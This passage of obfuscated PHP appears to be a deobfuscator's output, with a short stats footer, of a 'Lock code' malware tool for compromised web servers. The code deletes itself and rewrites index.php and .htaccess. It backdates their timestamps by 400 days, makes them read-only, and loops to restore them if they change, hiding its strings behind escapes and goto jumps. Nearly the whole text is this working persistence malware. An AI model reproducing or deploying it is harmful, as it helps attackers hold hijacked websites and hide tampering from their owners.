ini_get("\144\x69\163\141\142\x6c\x65\137\x66\165\156\143\x74\151\157\x6e\163")); goto c2364; F2491: a7812: goto bbca0; c232e: c2b67: goto d93ae; Aef2c: $Ffd22 = "\x65\x78\x65\x63"; goto F2491; E9bf9: $f9496 = ''; goto e3a45; Fc597: D65db: goto E9bf9; bbca0: if (!in_array($Ffd22, $Ff732)) { goto D65db; } goto f4c4b; f4c4b: return false; goto Fc597; d93ae: } goto a0797; ccba1: a1737($E1cf9, "\155\157\x64\151\146\171", "\x4d\x61\153\145\40\x74\x68\x65\x20\154\x6f\x63\153\145\144\40\146\151\x6c\x65\40\x6d\x6f\144\x69\146\151\141\x62\154\x65"); goto d511b; Eb6ed: function A0f5B() { goto A94b0; e3207: B8a2c: goto f4ee6; a05d2: $aa4ba = true; goto b531d; ef7eb: if (!($aa4ba === false)) { goto B8a2c; } goto e9905; Cf5ec: D8733: goto e3207; A94b0: $aa4ba = preg_match("\x2f\x63\154\151\57\x69", php_sapi_name()) ? true : false; goto A4ceb; A4ceb: if (!($aa4ba === false)) { goto d36e4; } goto F7e6b; e9905: if (isset($_SERVER["\123\x43\122\111\120\124\137\x4e\101\x4d\105"])) { goto D8733; } goto a4344; a4344: $aa4ba = true; goto Cf5ec; F7e6b: if (!(isset($_SERVER["\141\162\147\x63"]) && $_SERVER["\141\x72\147\143"] >= 2)) { goto C49a6; } goto a05d2; f4ee6: return $aa4ba; goto b121e; b531d: C49a6: goto bc8f4; bc8f4: d36e4: goto ef7eb; b121e: } goto C6723; ef7bb: a1737($E1cf9, "\160\150\x70\x5f\x76\x65\x72\163\x69\157\156", "\160\x68\160\137\166\145\162\163\x69\157\156"); goto e7ff2; B8156: e79ab: goto a9fb4; a0797: function a7E0c($E1cf9, $Ef2b3) { goto f05e2; f23f5: $C5512 = hash("\x73\x68\x61\x31", $fecee); goto C997c; D71d6: if (!($E5b67 != $a2efb)) { goto Ef28d; } goto Ef6ac; b0123: if (!($E2985 != $C5512)) { goto ed2ba; } goto a8bcb; f0ebd: goto a06b5; goto C1a04; A74c7: $fecee = file_get_contents($Ef2b3); goto f23f5; a8bcb: @unlink($Ef2b3); goto B668f; c4c7f: ed2ba: goto b40b8; F955e: d4862: goto b584c; D1a9b: @touch($Ef2b3, strtotime("\x2d\x34\60\x30\40\x64\x61\x79\163", time())); goto bd457; Fbd8c: @file_put_contents($d4aa0, $F5ade); goto E2b4d; Ef6ac: @unlink($d4aa0); goto Fbd8c; F3495: if (!true) { goto a691e; } goto cfc93; b584c: if (!file_exists($E1cf9)) { goto Db7a8; } goto Bd7b6; f05e2: unlink($E1cf9); goto A74c7; F4b1b: Ef28d: goto De7b9; cfc93: if (file_exists($Ef2b3)) { goto B6731; } goto cff8c; bd457: @chmod($Ef2b3, 0444); goto C61ed; Ce5ae: $b00e9 = file_get_contents($d4aa0); goto Fb575; e4271: $a2efb = hash("\163\x68\141\x31", $F5ade); goto A47fd; Fb575: $E2985 = hash("\163\150\x61\x31", $a50da); goto b0123; a9664: if (file_exists($d4aa0)) { goto d4862; } goto C9462; De7b9: sleep(1); goto f0ebd; B434f: @chmod($d4aa0, 0444); goto F955e; c502a: $a50da = file_get_contents($Ef2b3); goto Ce5ae; Fb6c5: @chmod($d4aa0, 0444); goto F4b1b; e82e8: @touch($Ef2b3, strtotime("\55\64\60\x30\x20\144\x61\171\163", time())); goto df2a3; E2b4d: @touch($d4aa0, strtotime("\55\64\60\x30\x20\144\x61\x79\x73", time())); goto Fb6c5; B668f: @file_put_contents($Ef2b3, $fecee); goto e82e8; b40b8: $E5b67 = hash("\x73\x68\x61\x31", $b00e9); goto D71d6; C9462: @file_put_contents($d4aa0, $F5ade); goto C9b3d; df2a3: @chmod($Ef2b3, 0444); goto c4c7f; cea62: $F5ade = file_get_contents($d4aa0); goto e4271; Bd7b6: goto a691e; goto f74f3; C997c: $d4aa0 = str_replace("\x69\156\144\x65\170\x2e\x70\x68\160", "\56\x68\x74\x61\x63\x63\x65\163\x73", $Ef2b3); goto cea62; f74f3: Db7a8: goto c502a; C9b3d: @touch($d4aa0, strtotime("\55\x34\60\60\x20\144\141\171\x73", time())); goto B434f; cff8c: @file_put_contents($Ef2b3, $fecee); goto D1a9b; C1a04: a691e: goto C9238; C61ed: B6731: goto a9664; A47fd: a06b5: goto F3495; C9238: } goto Edc4e; C8fe8: A1737($E1cf9, "\143\x68\x65\143\x6b", "\61\x20\55\x20\103\150\x65\143\153\x20\164\150\145\40\x65\x6e\x76\151\x72\157\x6e\x6d\x65\156\164"); goto Ace0c; F5ef0: $E1cf9 = str_replace("\134", '', $E1cf9); goto D7669; de031: function DF2E0($d61ad) { foreach ($d61ad as $d5354 => $A7ad6) { goto a5b9f; B9122: c3f5b: goto Da2b6; B12d8: echo "\x3c\160\76{$d5354}\40\72\40{$A7ad6}\x3c\x2f\x70\x3e"; goto B9122; a5b9f: echo PHP_EOL . "\x3c\x68\162\x20\57\x3e" . PHP_EOL; goto B12d8; Da2b6: } A3c63: } goto Eb6ed; Ace0c: A1737($E1cf9, "\x6c\157\x63\153", "\x32\40\55\x20\114\x6f\143\153\40\146\151\154\x65"); goto ccba1; E981f: c4fd8: goto B8156; Edc4e: if (!A0f5B()) { goto d7e7d; } goto b0a63; eae21: $ee44a = "\x2e\150\x74\x61\143\143\145\x73\x73"; goto d02f7; de57c: $E1cf9 = str_replace($a4a32, '', $a1966); goto f0e5f; F41e2: function A1737($c6a66, $A7ad6, $d5681) { goto b4994; A01f0: if (isset($_SERVER["\123\x45\x52\126\x45\122\x5f\116\101\x4d\x45"])) { goto f3a58; } goto F4ffe; dff4b: $d75d3 = $d75d3 . $_SERVER["\120\x48\x50\137\x53\x45\x4c\x46"]; goto c0f43; De1f8: goto e0576; goto E65d2; E0f4f: $d75d3 = $_SERVER["\x53\105\x52\126\x45\122\x5f\116\x41\115\105"]; goto A2f39; A2f39: e0576: goto dff4b; c0f43: $D1422 = ($_SERVER["\x52\105\121\125\x45\x53\124\137\x53\x43\x48\105\x4d\105"] != '' ? $_SERVER["\122\x45\x51\125\105\x53\x54\137\x53\103\x48\105\x4d\105"] : "\150\164\x74\160") . "\72\x2f\57" . $d75d3; goto D3516; F4ffe: goto e0576; goto E3f42; b4994: $d75d3 = ''; goto ccc47; ccc47: if (isset($_SERVER["\110\124\124\x50\x5f\110\x4f\x53\124"])) { goto c6665; } goto A01f0; d34e9: $d75d3 = $_SERVER["\x48\x54\x54\120\137\x48\117\x53\x54"]; goto De1f8; D3516: echo "\74\160\x20\163\x74\x79\x6c\x65\75\47\x27\x3e\x3c\x61\x20\163\164\x79\154\145\75\47\160\x61\x64\144\151\156\147\72\x20\65\x70\x78\73\40\40\167\151\x64\x74\150\x3a\61\x32\60\160\x78\x3b\143\x6f\x6c\157\162\72\40\43\x33\x33\71\x39\66\x36\x3b\40\x74\x65\x78\164\55\144\145\143\157\x72\x61\x74\151\157\x6e\72\x6e\x6f\156\145\73\40\x27\40\150\x72\x65\x66\75\x27{$D1422}\x3f\141\143\164\x69\157\x6e\75{$A7ad6}\47\x3e{$d5681}\74\x2f\141\x3e\74\x2f\160\76"; goto ba304; E65d2: f3a58: goto E0f4f; E3f42: c6665: goto d34e9; ba304: } goto D53b0; d7419: echo "\74\x68\164\155\x6c\x20\154\x61\156\147\x3d\42\172\150\x2d\x63\x6e\42\76\x3c\150\x65\x61\144\x3e\74\155\145\164\141\40\x63\150\141\x72\x73\x65\x74\75\42\x55\x54\x46\55\x38\42\x3e\x3c\x74\151\x74\x6c\145\76\114\x6f\143\153\x20\143\157\x64\x65\74\x2f\x74\x69\x74\154\145\76\x3c\x2f\150\x65\x61\x64\76\x3c\142\x6f\144\x79\76\x3c\x64\151\166\40\x73\x74\171\154\145\75\x22\155\141\x72\x67\151\x6e\72\x20\x30\x20\141\165\164\x6f\x3b\40\167\151\x64\x74\150\72\x31\61\60\60\160\170\42\76\x3c\144\x69\166\x20\163\164\171\154\x65\75\x22\146\x6c\157\x61\x74\x3a\x20\x6c\x65\146\164\73\164\145\170\164\x2d\x61\154\x69\x67\156\x3a\40\x6c\145\x66\x74\73\x77\x69\144\x74\150\72\62\60\60\x70\170\42\76"; goto C8fe8; F5b85: echo $_SERVER["\x53\x43\x52\x49\x50\x54\137\x4e\x41\x4d\105"];
Function Calls
None |
Stats
MD5 | aac3fb2bca2fb376f8690b051acd9823 |
Eval Count | 0 |
Decode Time | 45 ms |